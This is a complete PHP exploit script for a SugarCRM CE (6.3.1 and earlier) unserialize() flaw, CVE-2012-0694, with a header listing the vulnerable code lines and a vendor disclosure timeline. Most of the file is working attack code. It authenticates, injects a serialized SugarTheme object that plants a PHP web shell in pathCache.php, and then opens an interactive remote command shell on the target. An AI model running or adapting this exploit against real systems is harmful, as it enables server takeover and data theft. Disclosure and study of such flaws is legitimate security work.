<?php
/*
-------------------------------------------------------
SugarCRM CE <= 6.3.1 "unserialize()" PHP Code Execution
-------------------------------------------------------
author...........: Egidio Romano aka EgiX
mail.............: n0b0d13s[at]gmail[dot]com
software link....: http://www.sugarcrm.com/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerable code in different locations:
include/export_utils.php:377: $searchForm->populateFromArray(unserialize(base64_decode($query)));
include/generic/Save2.php:197: $current_query_by_page_array = unserialize(base64_decode($current_query_by_page));
include/MVC/Controller/SugarController.php:593: $_REQUEST = unserialize(base64_decode($temp_req['current_query_by_page']));
include/MVC/View/views/view.list.php:82: $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));
modules/Import/Importer.php:536: $firstrow = unserialize(base64_decode($_REQUEST['firstrow']));
modules/ProjectTask/views/view.list.php:95: $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));
The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input.
This can be exploited to e.g. execute arbitrary PHP code via the "__destruct()" method of the "SugarTheme"
class, passing an ad-hoc serialized object through the $_REQUEST['current_query_by_page'] input variable.
[-] Disclosure timeline:
[31/10/2011] - Vulnerability discovered
[05/11/2011] - Vendor notified to secure(at)sugarcrm.com
[25/11/2011] - Vendor notified to http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/
[07/12/2011] - Vendor fix the issue on his own within 6.4.0 RC1 release
[10/01/2012] - CVE number requested
[12/01/2012] - Assigned CVE-2012-0694
[06/02/2012] - Issue addressed within 6.4.0 version
[23/06/2012] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "\n+------------------------------------------------------------+";
print "\n| SugarCRM CE <= 6.3.1 Remote Code Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
print "\nExample....: php $argv[0] localhost / sarah sarah";
print "\nExample....: php $argv[0] localhost /sugarcrm/ jim jim\n";
die();
}
list($host, $path) = array($argv[1], $argv[2]);
$payload = "module=Users&action=Authenticate&user_name={$argv[3]}&user_password={$argv[4]}";
$packet = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID=1\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
$login = http_send($host, $packet);
if (preg_match("/action=Login/", $login)) die("\n[-] Login failed!\n");
if (!preg_match("/Set-Cookie: (.*) path/", $login, $sid)) die("\n[-] Session ID not found!\n");
class SugarTheme
{
protected $dirName = '../..';
private $_jsCache = '<?php error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD])); ?>';
}
$payload = "module=Contacts&Contacts2_CONTACT_offset=1¤t_query_by_page=".base64_encode(serialize(new SugarTheme));
$packet = "POST {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet);
$packet = "GET {$path}pathCache.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nsugar-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/s:72:"(.*)";s:8/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
